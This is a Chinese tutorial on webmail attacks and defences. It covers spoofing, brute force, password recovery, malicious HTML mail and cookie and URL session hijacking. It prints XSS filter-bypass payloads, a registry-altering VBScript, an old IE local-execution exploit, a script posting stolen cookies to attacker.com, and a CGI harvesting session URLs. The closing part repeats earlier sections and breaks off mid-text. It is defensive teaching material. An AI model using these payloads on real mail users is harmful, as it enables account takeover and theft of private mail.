Webmail攻防实战
Webmail是指利用浏览器通过web方式来收发电子邮件的服务或技术,不需借助邮件客户端,可以说只要能上网就能使用webmail,极大地方便了用户对邮件的收发。对于不能熟练使用邮件客户端,或者在网吧不便使用邮件客户端的用户来说,webmail更是必不可少的选择。Email能够成为当今internet上应用最广泛的网络服务,webmail可谓功不可没。
由于用户的使用不当或者webmail系统的开发不周,都有可能给webmail的使用带来更多的安全威胁。同样,webmail系统作为当今电子邮件系统的重要组成部份,它的安全性也是不可忽视的。
一、邮件地址欺骗
邮件地址欺骗是非常简单和容易的,攻击者针对用户的电子邮件地址,取一个相似的电子邮件名,在webmail的邮箱配置中将“发件人姓名”配置成与用户一样的发件人姓名(有些webmail系统没有提供此功能),然后冒充该用户发送电子邮件,在他人收到邮件时,往往不会从邮件地址、邮件信息头等上面做仔细检查,从发件人姓名、邮件内容等上面又看不出异样,误以为真,攻击者从而达到欺骗的目的。例如某用户的电子邮件名是wolfe,攻击者就会取w0lfe、wo1fe、wolfee、woolfe之类相似的电子邮件名来进行欺骗。虽然免费的午餐越来越难吃,但还是有很多用户使用的是免费电子邮箱,通过注册申请,攻击者很容易得到相似的电子邮件地址。
人们通常以为电子邮件的回复地址就是它的发件人地址,其实不然,在RFC 822中明确定义了发件人地址和回复地址可以不一样,熟悉电子邮件客户端使用的用户也会明白这一点,在配置帐户属性或撰写邮件时,可以指定与发件人地址不同的回复地址。由于用户在收到某个邮件时,虽然会检查发件人地址是否真实,但在回复时,并不会对回复地址做出仔细的检查,所以,如果配合smtp欺骗使用,发件人地址是要攻击的用户的电子邮件地址,回复地址则是攻击者自已的电子邮件地址,那么这样就会具有更大的欺骗性,诱骗他人将邮件发送到攻击者的电子邮箱中。
所谓害人之心不可有,防人之心不可无,鉴于邮件地址欺骗的易于实现和危险性,我们不得不时时提防,以免上当受骗。对于webmail系统而言,提供邮件信息头内容检查、smtp认证(如果该邮件系统支持smtp的话)等服务技术,将邮件地址欺骗带来的危害降至最小是非常有必要的。对邮件用户而言,认真检查邮件的发件人邮件地址、发件人IP地址、回复地址等邮件信息头内容是很重要的。
二、Webmail暴力破解
Internet上客户端与服务端的交互,基本上都是通过在客户端以提交表单的形式交由服务端程序(如CGI、ASP等)处理来实现的,webmail的密码验证即如此,用户在浏览器的表单元素里输入帐户名、密码等信息并提交以后,服务端对其进行验证,如果正确的话,则欢迎用户进入自己的webmail页面,否则,返回一个出错页面给客户端。
籍此,攻击者借助一些黑客工具,不断的用不同的密码尝试登录,通过比较返回页面的异同,从而判断出邮箱密码是否破解成功。帮助攻击者完成此类暴力破解的工具有不少,如wwwhack、小榕的溯雪等,尤以溯雪的功能最为强大,它本身已经是一个功能完善的浏览器,通过分析和提取页面中的表单,给相应的表单元素挂上字典文件,再根据表单提交后返回的错误标志判断破解是否成功。
当然我们也看到,溯雪之类的web探测器,可以探测到的不仅是webmail的密码,像论坛、聊天室之类所有通过表单进行验证登录的帐户密码都是可以探测到的。
对于webmail的暴力破解,许多webmail系统都采取了相应的防范措施。如果某帐户在较短的时间内有多次错误登录,即认为该帐户受到了暴力破解,防范措施一般有如下三种:
1、 禁用帐户:把受到暴力破解的帐户禁止一段时间登录,一般是5至10分钟,但是,如果攻击者总是尝试暴力破解,则该帐户就一直处于禁用状态不能登录,导致真正的用户不能访问自己的邮箱,从而形成DOS攻击。
2、 禁止IP地址:把进行暴力破解的IP地址禁止一段时间不能使用webmail。这虽然在一定程度上解决了“禁用帐户”带来的问题,但更大的问题是,这势必导致在网吧、公司、学校甚至一些城域网内共用同一IP地址访问internet的用户不能使用该webmail。如果攻击者采用多个代理地址轮循攻击,甚至采用分布式的破解攻击,那么“禁止IP地址”就难以防范了。
3、 登录检验:这种防范措施一般与上面两种防范措施结合起来使用,在禁止不能登录的同时,返回给客户端的页面中包含一个随机产生的检验字符串,只有用户在相应的输入框里正确输入了该字符串才能进行登录,这样就能有效避免上面两种防范措施带来的负面影响。不过,攻击者依然有可乘之机,通过开发出相应的工具提取返回页面中的检验字符串,再将此检验字符串做为表单元素值提交,那么又可以形成有效的webmail暴力破解了。如果检验字符串是包含在图片中,而图片的文件名又随机产生,那么攻击者就很难开发出相应的工具进行暴力破解,在这一点上,yahoo电邮就是一个非常出色的例子。
虽然webmail的暴力破解有诸多的防范措施,但它还是很难被完全避免,如果webmail系统把一分钟内五次错误的登录当成是暴力破解,那么攻击者就会在一分钟内只进行四次登录尝试。所以,防范webmail暴力破解还主要靠用户自己采取良好的密码策略,如密码足够复杂、不与其他密码相同、密码定期更改等,这样,攻击者很难暴力破解成功。
三、邮箱密码恢复
难免会有用户遗失邮箱密码的情况,为了让用户能找回密码继续使用自己的邮箱,大多数webmail系统都会向用户提供邮箱密码恢复机制,让用户回答一系列问题,如果答案都正确的话,就会让用户恢复自己邮箱的密码。但是,如果密码恢复机制不够合理和安全,就会给攻击者加以利用,轻松获取他人邮箱密码。
下面是许多webmail系统密码恢复机制所采取的密码恢复步骤,只有用户对每步提出的问题回答正确的话才会进入下一步,否则返回出错页面,针对每一步,攻击者都有可乘之机:
第一步:输入帐户:在进入密码恢复页面后首先提示用户输入要恢复密码的邮箱帐户。这一步对攻击者而言自然不成问题,邮箱帐户就是他要攻击的目标。
第二步:输入生日:提示用户按年月日输入自己的生日。这一步对攻击者而言也很轻松,年月日的排列组合很小,借助溯雪等工具很快就能穷举破解出来,所以webmail系统有必要在此采取暴力破解防范措施。并且每个用户需要注意的是,攻击者不一定来自地球的另一端,很可能就是你身边的人,或许这些人更想知道你邮箱里有什么秘密,而他们要弄清你的生日往往是件轻而易举的事情,你不是昨天才过了生日party吗?你不是刚刚把身份证复印件交给人事部吗?所以,为了邮箱安全,用户是不是要把真实的生日做为邮箱注册信息,webmail系统是不是一定要用户输入真实的生日做为注册信息,这还有待考虑。
第三步:问题回答:提示用户回答自己设定的问题,答案也是用户自己设定的答案。在这一步,攻击者往往只有靠猜测,不幸的是,很多用户的问题和答案是如此的简单,以致于攻击者能轻易的猜测出来,例如提出的问题只是知识性的问题、提出的问题和答案相同等。攻击者对用户越熟悉,成功的可能性就越大,例如有用户问“你男朋友是哪里人”,殊不知,攻击者正是她的男朋友。所以,用户把问题设置成唯有自己知道的答案至关重要,这样攻击者才很难得逞,不过不要忘了答案,否则就得不偿失了。
在用户正确完成以上各步骤以后,webmail系统就会让用户恢复自己邮箱帐户的密码。密码恢复的方式又各有不同,一般有如下几种方式,安全程度各有不同:
1、 页面返回:返回的页面里显示用户的邮箱密码。这样故然方便省事,但是如果让攻击者得到密码,则能在丝毫不惊动用户的情况下使用用户的邮箱,使得攻击者能长期监视用户的邮箱使用情况,给用户带来更大的安全隐患。
2、 邮件发送:将密码发送到用户注册时登记的另一个邮箱里。对于攻击者来说,忙了半天,仍然是一无所获,除非继续去攻击另一个邮箱;对于用户来说,在另一个邮箱里收到发来的密码则是一个警告,说明有攻击者猜测到了他的邮箱密码提示问题,迫使用户尽快改变自己的密码提示问题。
不过,如果用户注册时登记的不是一个正确的邮箱,或者该邮箱已经失效,那么,这样不仅是攻击者,就是用户本人也永远得不到密码了。有些webmail系统在注册时要求用户登记正确的邮件地址,并把邮箱开通的验证信息发往该邮件地址,不过这样仍然不能避免用户在邮箱失效后不能恢复自己邮箱密码的情况发生。
3、 密码重设:让用户重新设置一个密码。这种方式相比“页面返回”方式,在攻击者重设密码后,用户因为不能正常登录进自己的邮箱而能察觉出受到攻击,安全性相对好一些;但是相比“邮件发送”方式,因为攻击者能立即修改邮箱密码,少了一层保障,安全性又差一些。
由“页面返回”或“邮件发送”回来的密码可以明显看出,该电子邮件系统是把邮箱帐户的密码未经加密直接以明文保存在数据库或LDAP服务器中。这样就造成很大的安全隐患,webmail系统管理员或侵入数据库的攻击者能轻易获取用户的邮箱密码,用户却完全不知情,所以为了加大保密性,有必要将邮箱密码加密后再以密文存入数据库,最好用不可逆的单向加密算法,如md5等。
邮箱密码恢复机制是否安全,主要还是看webmail系统提出什么样的问题、采取什么样的问答方式,例如将多个密码恢复步骤中提出的问题放在一步中一起提出,就会相应地增加攻击者的难度从而提高安全性,像搜狐邮件、新浪邮件和yahoo电邮等都是一些令人失望的例子。
四、恶性HTML邮件
电子邮件有两种格式:纯文本(txt)和超文本(html)。Html邮件由html语言写成,当通过支持html的邮件客户端或以浏览器登录进入webmail查看时,有字体、颜色、链接、图像、声音等等,给人以深刻的印象,许多垃圾广告就是以html邮件格式发送的。
利用html邮件,攻击者能进行电子邮件欺骗,甚至欺骗用户更改自己的邮箱密码。例如攻击者通过分析webmail密码修改页面的各表单元素,设计一个隐含有同样表单的html页面,预先给“新密码”表单元素赋值,然后以html邮件发送给用户,欺骗用户说在页面中提交某个表单或点击某个链接就能打开一个精彩网页,用户照做后,在打开“精彩网页”的同时,一个修改邮箱密码的表单请求已经发向webmail系统,而这一切,用户完全不知情,直到下次不能登录进自己邮箱的时候。
为了防止此类的html邮件欺骗,在修改邮箱配置时,特别是修改邮箱密码和提示问题时,webmail系统有必要让用户输入旧密码加以确认,这样也能有效防止载取到当前webmail会话的攻击者(下面会介绍)更改邮箱密码。
通过在html邮件中嵌入恶性脚本程序,攻击者还能进行很多破坏攻击,如修改注册表、非法操作文件、格式化硬盘、耗尽系统资源、修改“开始”菜单等,甚至能删除和发送用户的邮件、访问用户的地址簿、修改邮箱帐户密码等等。恶性脚本程序一般由JavaScript或VBScript脚本语言写成,内嵌在html语言中,通过调用ActiveX控件或者结合WSH来达到破坏攻击目的。深受修改浏览器的恶性html页面之痛,饱经“欢乐时光”邮件病毒之苦的朋友,对此应该不会陌生。下面是两个简单的恶性脚本程序:
一、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:
<script language="JavaScript">
<!--
while (true)
{
window.open("URI"); //如果URI就是当前页本身,那就更具破坏性。
}
//-->
</script>
二、修改注册表:
<script language="VBScript">
Set RegWsh = CreateObject("WScript.Shell")
<|>设置IE浏览器默认页
RegWsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.attacker.com"
</script>
鉴于脚本程序可能带来的危险,webmail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,不少的webmail系统仍然没有完全改正:
1、 在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:
<tag attribute1 attribute2 onEventName="javascript code;">
例如:
<body onload="alert(<|>JavaScript#1 is executed<|>);">
<a href="#" onclick="alert(<|>JavaScript#2 is executed<|>);">Click here</a>
<form method="post" action="#" onsubmit="alert(<|>JavaScript#3 is executed<|>);">
<input type="submit" value="Submit">
</form>
</body>
2、 URI(Universal Resource Identifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URI scheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法如下,注意要用“;”分隔不同的javascript语句:
<tag attribute="javascript:javascript-code;">
例如:
<body background="javascript:alert(<|>JavaScript#1 is executed<|>);">
<a href="javascript:alert(<|>JavaScript#2 is executed<|>);">Click here</a>
<form method="post" action="javascript:alert(<|>JavaScript#3 is executed<|>);">
<input type="submit" value="Submit">
</form>
<img src="javascript:alert(<|>JavaScript#4 is executed<|>);">
</body>
3、 由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A”、“A”表示字母“A”,“水”、“水”表示汉字“水”。
攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开webmail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:
<body>
<img lowsrc="javasCript:alert(<|>JavaScript#1 is executed<|>)">
<a href="javAsCript:alert(<|>JavaScript#2
is executed<|>)">Click here</a>
<form method="post" action="javascript:alert(<|>JavaScript#3 is
executed<|>)">
<input type="Submit" value="Submit">
</form>
</body>
4、 样式表是层叠样式表单(CSS:Cascading Style Sheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,Internet Explorer浏览器仍然会执行。例如:
<style type="text/css">
<!--
@import url(javascript:alert(<|>JavaScript#1 is executed<|>));
@import url(http://www.attacker.com/js.css);
-->
</style>
其中http://www.attacker.com/js.css的内容如下所示:
@import url(javascript:alert(<|>JavaScript#2 is executed<|>));
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
能够绕过webmail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。
除了可以在html邮件中直接嵌入脚本程序外,攻击者还可以设计一些html代码,在用户打开html邮件时,不知不觉引入另一个html文件,而此文件中正含有恶性代码,这样不仅能直接绕过webmail系统对脚本程序的过滤,而且还能有效避开提供了防毒服务的邮件系统对恶性代码的查杀。下面是几个调用html文件的例子:
1、Refresh到另一个页面:
<body>
<meta http-equiv="refresh" content="1;URL=http://www.attacker.com/another.htm">
</body>
2、Iframe引入另一个页面:
<body>
<iframe src="http://www.attacker.com/import.htm" frameborder="0"></iframe>
</body>
3、scriptlet引入另一个页面:
<body>
<object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"></object>
</body>
攻击者还可以采取如下方法,使带有恶性代码的html邮件具有更大的隐蔽性:
1、 配合邮件欺骗技术,使用户不会怀疑收到的邮件,并且攻击者也能隐藏自己的行踪。
2、 把html邮件设计成看起来像txt邮件。
3、 有时可以把html邮件中的恶性代码放在一个隐藏的层里面,表面上看不出任何变化。
针对恶性脚本程序的影响,对用户常见的建议办法是提高浏览器的安全级别,如禁用ActiveX、禁用脚本等,但这并不是一个很好的办法,因为这样会影响到用户对其他正常html页面的浏览。即使浏览器达到了最高级别,依然对某些恶性代码无济于事,下面是位以色列安全专家发现的漏洞,能让Windows系统自动执行任何本地程序,即使Internet Explorer已经禁止了ActiveX和脚本程序:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-
111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
面对恶性html邮件,webmail系统和用户似乎都没有很好的解决办法,虽然许多webmail系统已经能够过滤掉html邮件中的很多恶性代码,不过令人遗憾的是,要想彻底过滤掉恶性代码并不是一件容易的事情,攻击者总能利用webmail系统过滤机制和浏览器的漏洞找到办法绕过种种过滤,webmail系统所能做的就是发现一个漏洞补一个漏洞。
为了减少乃至避免恶性html邮件的影响,在打开html邮件之前,webmail系统有必要提醒用户这是一个html邮件,如果能提供让用户以文本方式浏览html邮件的功能,则是最好不过。在打开不明邮件之前,用户更要小心谨慎,最好把html邮件“目标另存为”到本地硬盘上再打开来看,如果能先查看html邮件源代码,则是最好不过。
另外需要特别提醒用户注意的是,虽然一些电子邮件系统会在webmail系统上对html邮件中的恶性代码进行过滤,但在pop3服务器上并不会进行过滤,所以,如果是通过邮件客户端收取邮件,仍然要谨防恶性html邮件的危害。
五、Cookie会话攻击
当用户以自已的邮箱帐户和密码登录进webmail以后,如果再让用户对每一步操作都输入密码加以确认就会让人不甚其烦。所以webmail系统有必要进行用户会话跟踪,webmail系统用到的会话跟踪技术主要有两种:cookie会话跟踪和URL会话跟踪。
Cookie是web服务器保存在用户浏览器上的文本信息,可以包含用户名、特殊ID、访问次数等任何信息,通常此信息用于标识访问同一web服务器上的不同用户,在浏览器每次访问同一web服务器时会发送过去,用于跟踪特定客户端或浏览器与web服务器进行交互的状态。
Cookie的类型有两种:持久型和临时型。持久型cookie以文本形式存储在硬盘上,由浏览器存取。使用了持久型cookie会话跟踪的webmail系统有hotmail、yahoo电邮(可选)等。临时型cookie也称为会话cookie,存储在内存中,仅为当前浏览器的对话存储,关闭当前浏览器后会立即消失,ASP、PHP4等开发程序中用到的session对象就会产生临时型cookie。使用了临时型cookie会话跟踪的webmail系统有FM365、亿邮等。
如果攻击者能够获取用户webmail的cookie信息,那么就能很容易地侵入用户的webmail。攻击者如何获取用户webmail的cookie信息呢?如果攻击者在用户的电脑上安装了木马,或者能够从网络线路上对用户进行嗅探侦听,那么获取cookie信息自然不成问题,不过这并不是我们讨论问题的意义所在,因为都能够这样了,又何必大费周折去获取cookie信息,直接获取邮箱密码就是了。
如果webmail系统存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取cookie信息,虽然众多网站存在此漏洞,但存在此漏洞的webmail系统还很少见。
含有恶性脚本程序的html邮件能使攻击者获取webmail的cookie信息。Html邮件中的脚本程序先提取当前webmail的cookie信息,然后把它赋值给某个表单元素,再将表单自动提交给攻击者,攻击者从而获得cookie会话信息。下面是一段演示程序:
<body>
<form method="post" action="http://attacker.com/getcookie.cgi" name="myform">
<input name="session" type="hidden">
</form>
<script language="JavaScript">
var cookie=(document.cookie);
alert(cookie);//这一句用于显示当前cookie信息,当然,攻击者不会这样做。
document.myform.session.value=cookie;
document.myform.submit();
</script>
getcookie.cgi是放在攻击者web服务器上的一个cgi程序,用于获取表单提交过来的cookie信息,并且做记录或者通知攻击者。当然,攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽,更具欺骗性,让用户难以察觉。
通常,浏览器根据web服务器的域名来分别保存cookie信息,并且只会把cookie信息发送给同一域名的web服务器。不过,浏览器的漏洞给攻击者获取不同域名的cookie信息创造了机会,Internet Explorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个Internet Explorer浏览器(针对IE5.0、IE5.5或6.0)泄漏cookie信息的例子:
1、 Html语言中的object元素用于在当前页面内嵌入外部对象,但Internet Explorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏,演示代码如下:
<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href="http://www.anydomain.com";
setTimeout("alert(ref.cookie)",5000);
</script>
2、 Internet Explorer浏览器错误处理“about”协议使得一个精心构造的URL请求可能会显示或修改任意域的cookie信息,例如(以下代码在同一行):
about://www.anydomain.com/<script language=JavaScript>alert(document.cookie);</script>
3、 Internet Explorer浏览器会误把URL中“%20”(空格符的URL编码)字符串之前的主机名当做cookie信息所在的域,并且发送出去。假设攻击者有一个域名“attacker.com”,攻击者把它做成泛域名解析,即把“*.attacker.com”指向攻击者web服务器所在的IP地址,“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址,当用户提交了类似下面这样的URL后,浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者:
http://anydomain.com%20.attacker.com/getcookie.cgi
如果攻击者要获取webmail的临时型cookie信息,就会在html邮件中写入相应的代码,在用户浏览邮件时,该代码自动执行,使得攻击者能够获取当前浏览器里的临时cookie信息,也可以把用于获取cookie信息的URL发送给用户,诱骗用户打开该URL,这样攻击者也能获取临时cookie信息。
在攻击者获取cookie信息后,如果cookie信息里含有密码等敏感信息,那么攻击者就能很轻易地侵入用户的邮箱,虽然hotmail等webmail系统曾经发生过此类的情况,但cookie信息泄漏敏感信息的webmail系统还很少见。
攻击者在获取cookie信息之后,还要让此cookie信息由浏览器来存取从而与webmail系统建立会话,这样才能侵入用户的webmail。如果是持久型cookie信息,攻击者所要做的是把这个信息复制到自己的cookie文件中去,由浏览器存取该cookie信息从而与webmail系统建立会话,不过临时cookie信息存储在内存中,并不容易让浏览器存取。
为了让浏览器存取临时cookie信息,攻击者可以编辑内存中的cookie信息,或者修改公开源代码的浏览器,让浏览器能够编辑cookie信息,不过这样都不是很简便的方法,简便的方法是使用Achilles程序(packetstormsecurity.org网站有下载)。Achilles是一个http代理服务器,能够载取浏览器和web服务器间的http会话信息,并且在代理转发数据之前可以编辑http会话以及临时cookie信息。
Webmail系统应该避免使用持久型cookie会话跟踪,使攻击者在cookie会话攻击上不能轻易得逞。为了防止cookie会话攻击,用户可以采取如下措施以加强安全:
1、 设置浏览器的cookie安全级别,阻止所有cookie或者只接受某几个域的cookie。
2、 使用cookie管理工具,增强系统cookie安全,如Cookie Pal、Burnt Cookies等。
3、 及时给浏览器打补丁,防止cookie信息泄漏。
Cookie会话跟踪除了上面提到的安全缺陷外,还存在如下缺点:
1、 并不是每个浏览器都支持cookie,有些用户为了防止泄露隐私以及从安全性上考虑,可能会禁用浏览器的cookie。
2、 由于功能限制或者设置有误,代理服务器不能够代理cookie,导致通过代理服务器上网的用户不能登录进入以cookie进行会话跟踪的webmail。
六、URL会话攻击
一些webmail系统胆敢在客户端不支持cookie时拒绝提供webmail服务,如新浪、搜狐等webmail系统,而另一些webmail系统则视用户为上帝,使用URL会话跟踪技术来维护与客户端交互的状态,如163.net、263.net、21cn.com等。
URL会话跟踪是把一些标识会话的字符串加在URL里面,对于客户端的每一个http连接请求,服务端都会把URL里的会话标识和它所保存的会话数据关联起来,从而能够区分不同的客户端,以及进行用户会话跟踪。下面是在浏览器的地址栏里看到的一些webmail的URL,看起来会很长甚至有些怪:
http://bjweb.163.net/cgi/ldapapp?funcid=main&sid=HAPGfUDusCLAQSIm
http://webmail.21cn.com/extend/gb/std/username/
NV0416qxMftyKnOcavGDktOmIEvPsb/SignOn.gen
在关闭浏览器后,保存在服务器里的会话关联数据并不会立即失效,一段时间内webmail的URL仍然有效,他人只要从浏览器的历史记录里找到该URL,就可以点击进入用户的webmail,并不需要任何密码验证,所以用户在退出webmail时,不应该直接关闭浏览器,应该点击webmail上的“退出”来退出,这样才会清空会话,使webmail的URL失效,那些在网吧等公共场所上网的用户尤其要注意这一点。
如果攻击者知道webmail系统的URL会话机制,能猜到webmail的会话标识,那么就能找到webmail的URL,在浏览器地址栏里输入相同的URL就能轻易地进入用户的webmail,所以webmail系统应该使用较长的、随机的字符串做为会话标识,使攻击者难以猜测。
不过,即使webmail系统的URL会话机制再复杂、会话标识再长,对攻击者而言,要想获得用户webmail的URL,往往就像探囊取物一般容易。
JavaScript程序中的window.location、location.href、document.URL、document.location、document.referrer等对象属性都可以用来获取webmail的URL,攻击者只要在html邮件中放入一段脚本代码就可以获取URL,并且能偷偷地发送给攻击者,类似的代码可以参考“cookie会话攻击”一节里的一段演示程序。
Http协议(RFC2616)里规定http请求头域“referer”用于指明链接的出处,即指明来自客户端的这个连接请求是从哪个URI地址提交过来的,例如用户点击页面上的某个链接地址后,发出的referer域的内容就是当前页面的URI地址。CGI编程中的环境变量“HTTP_REFERER”用于获取http请求头域“referer”,下面是一个在Linux下用shell写的CGI程序:
#!/bin/sh
#set -f
echo Content-type: text/plain
echo
#写入日志,geturl.log文件权限要可写
echo "`date` $REMOTE_ADDR $HTTP_REFERER" >> /var/log/geturl.log
#即时通知攻击者
wall "`date` 收到webmail url,请检查日志"
#返回给客户端的信息,用于迷惑用户
echo "你好!"
攻击者把这个CGI程序放在自己的web服务器上,然后把该CGI程序的URL地址以单独一行放在txt邮件里发给用户,URL地址会自动变成链接地址,受到欺骗的用户点击后,攻击者就获得了用户webmail的URL。当然攻击者也可以把CGI程序的URL地址放在html邮件里做为链接地址让用户来点击,或者就用脚本程序或框架技术使这个CGI程序自动运行,或者干脆把这个CGI程序的URL地址放在html邮件源代码img元素的src属性值,虽然显现不出图片,但这个CGI程序照样会收到http连接请求,从而获得webmail的URL。
Web服务器的日志记录也能获取referer域的内容,以apache为例,在httpd.conf文件中修改或加入如下配置参数:
LogFormat "%t %h %{Referer}i -> %U" referer
CustomLog /usr/local/apache/logs/referer_log referer
这样对web服务器的每一个http连接请求的referer域的内容都会写到referer_log日志文件里去,攻击者只要分析日志文件就能够知道用户webmail的URL了。webmail系统如果支持html邮件的话,总不可能会禁止html邮件中使用图像,攻击者在发给用户的html邮件中放入一张src地址在自己web服务器上的图片,也就能轻易地获取webmail的URL。
这样一来,深怀恶意的攻击者花点小钱去做邮件服务商提供的webmail旗帜广告,广告的图片则是放在攻击者的web服务器上,那么攻击者就能每天坐收成千上万用户的webmail了。
浏览器的漏洞和恶意脚本程序导致了cookie信息的泄漏,与cookie信息泄漏不同,URL会话信息被泄漏,则是完全出在HTTP协议上,除非修改HTTP协议。虽然RFC2616里指出referer域是敏感信息(Sensitive Information),建议浏览器提供友好界面让用户能够允许或禁用传输敏感信息域,不过目前尚未有哪一家浏览器提供了这样的功能界面。
可见,无论是cookie会话跟踪还是URL会话跟踪,都存在着不少的安全问题,所以webmail系统有必要采取措施加强会话安全:
1、 灵活使用会话跟踪技术:客户端支持cookie时,使用相对比较安全的临时型cookie会话跟踪机制,否则,使用URL会话跟踪,JSP等开发程序能很容易做到这一点。
2、 结合多种会话跟踪技术:同时结合cookie、URL会话跟踪技术进行会话跟踪,大大增加攻击者难度。
3、 跟客户端IP地址相结合:21cn.com、qmail的sqwebmail等webmail系统,就是把当前会话与客户端IP地址结合在一起来加强安全的。
4、 合理设置会话超时时间:在一定时间内客户端没有连接请求则认为会话超时(timeout)。太短了,给用户带来不便;太长了,给攻击者带来方便。
七、Webmail其他安全
如果用户在webmail里设置了自动回复,攻击者利用这一点,在另一个邮箱里也设置自动回复,并发一封邮件给用户,那么邮件很快就会塞满用户的邮箱,迫使用户不得不取消自动回复,所以,良好的自动回复策略应该是在一定时间内来自同一邮件地址的第二封邮件不应该被自动回复。
攻击者还会在邮件附件中夹带病毒、木马等恶性程序来攻击用户的电脑,甚至用来窃取webmail密码,所以,对于不明邮件,用户不要奢望那是攻瑰和情书,在对附件进行病毒查杀之前,不要轻易打开它的附件。
为了防止垃圾邮件,webmail系统应有良好的反垃圾邮件功能,一是系统级的垃圾邮件过滤,对一些被投诉和列入反垃圾邮件组织黑名单的邮件地址进行过滤,二是用户级的垃圾邮件过滤,使webmail用户可以定制自己的邮件过滤规则,拒绝不受欢迎的邮件,免受垃圾邮件的困扰。
使用一些嗅探监听程序,攻击者甚至不需要很高深的专业知识,就能很轻易地嗅探监听到用户webmail的密码、邮件内容等。有一个叫“密码监听器”的黑客程序,几乎能监听到国内所有免费邮箱的密码。所以,webmail系统有必要支持ssl,对浏览器与服务器之间传输的数据进行加密,防止被嗅探监听。
一些webmail系统支持数字签名和数字加密,在webmail内可以导入基于公钥加密机制(如CA认证中心颁发的数字证书)产生的公私密钥对,能有效地保证邮件的保密性、完整性和不可抵赖性,不过,鉴于webmail在其他方面的安全问题,一旦攻击者侵入用户的webmail,用户反而得不偿失,甚至会导致私钥的泄漏。
Webmail系统程序上的漏洞也值得关注,如IMHO Webmail远程帐户劫持漏洞、BasiliX Webmail远程任意文件泄露漏洞、W3Mail Webmail执行任意命令漏洞等,甚至21cn.com都曾有过重要路径泄漏漏洞。
从上面我们可以看到,webmail的安全问题不容乐观,如果要较好地解决它,一方面要增强webmail系统的安全性,另一方面则依赖于用户对webmail的正确使用,这些在上面都有讨论,在此就不赘述。如果用户在正确使用webmail后仍然存在安全问题,那么剩下的,就是去选择一个好的邮件服务商,或者通过邮件客户端软件来收发邮件,不过,使用outlook等邮件客户端软件又会引发其它的安全问题,例如爱虫、求职信等病毒就是利用outlook的漏洞来扩散传播和危害用户的。,
由于用户的使用不当或者webmail系统的开发不周,都有可能给webmail的使用带来更多的安全威胁。同样,webmail系统作为当今电子邮件系统的重要组成部份,它的安全性也是不可忽视的。
一、邮件地址欺骗
邮件地址欺骗是非常简单和容易的,攻击者针对用户的电子邮件地址,取一个相似的电子邮件名,在webmail的邮箱配置中将“发件人姓名”配置成与用户一样的发件人姓名(有些webmail系统没有提供此功能),然后冒充该用户发送电子邮件,在他人收到邮件时,往往不会从邮件地址、邮件信息头等上面做仔细检查,从发件人姓名、邮件内容等上面又看不出异样,误以为真,攻击者从而达到欺骗的目的。例如某用户的电子邮件名是wolfe,攻击者就会取w0lfe、wo1fe、wolfee、woolfe之类相似的电子邮件名来进行欺骗。虽然免费的午餐越来越难吃,但还是有很多用户使用的是免费电子邮箱,通过注册申请,攻击者很容易得到相似的电子邮件地址。
人们通常以为电子邮件的回复地址就是它的发件人地址,其实不然,在RFC 822中明确定义了发件人地址和回复地址可以不一样,熟悉电子邮件客户端使用的用户也会明白这一点,在配置帐户属性或撰写邮件时,可以指定与发件人地址不同的回复地址。由于用户在收到某个邮件时,虽然会检查发件人地址是否真实,但在回复时,并不会对回复地址做出仔细的检查,所以,如果配合smtp欺骗使用,发件人地址是要攻击的用户的电子邮件地址,回复地址则是攻击者自已的电子邮件地址,那么这样就会具有更大的欺骗性,诱骗他人将邮件发送到攻击者的电子邮箱中。
所谓害人之心不可有,防人之心不可无,鉴于邮件地址欺骗的易于实现和危险性,我们不得不时时提防,以免上当受骗。对于webmail系统而言,提供邮件信息头内容检查、smtp认证(如果该邮件系统支持smtp的话)等服务技术,将邮件地址欺骗带来的危害降至最小是非常有必要的。对邮件用户而言,认真检查邮件的发件人邮件地址、发件人IP地址、回复地址等邮件信息头内容是很重要的。
二、Webmail暴力破解
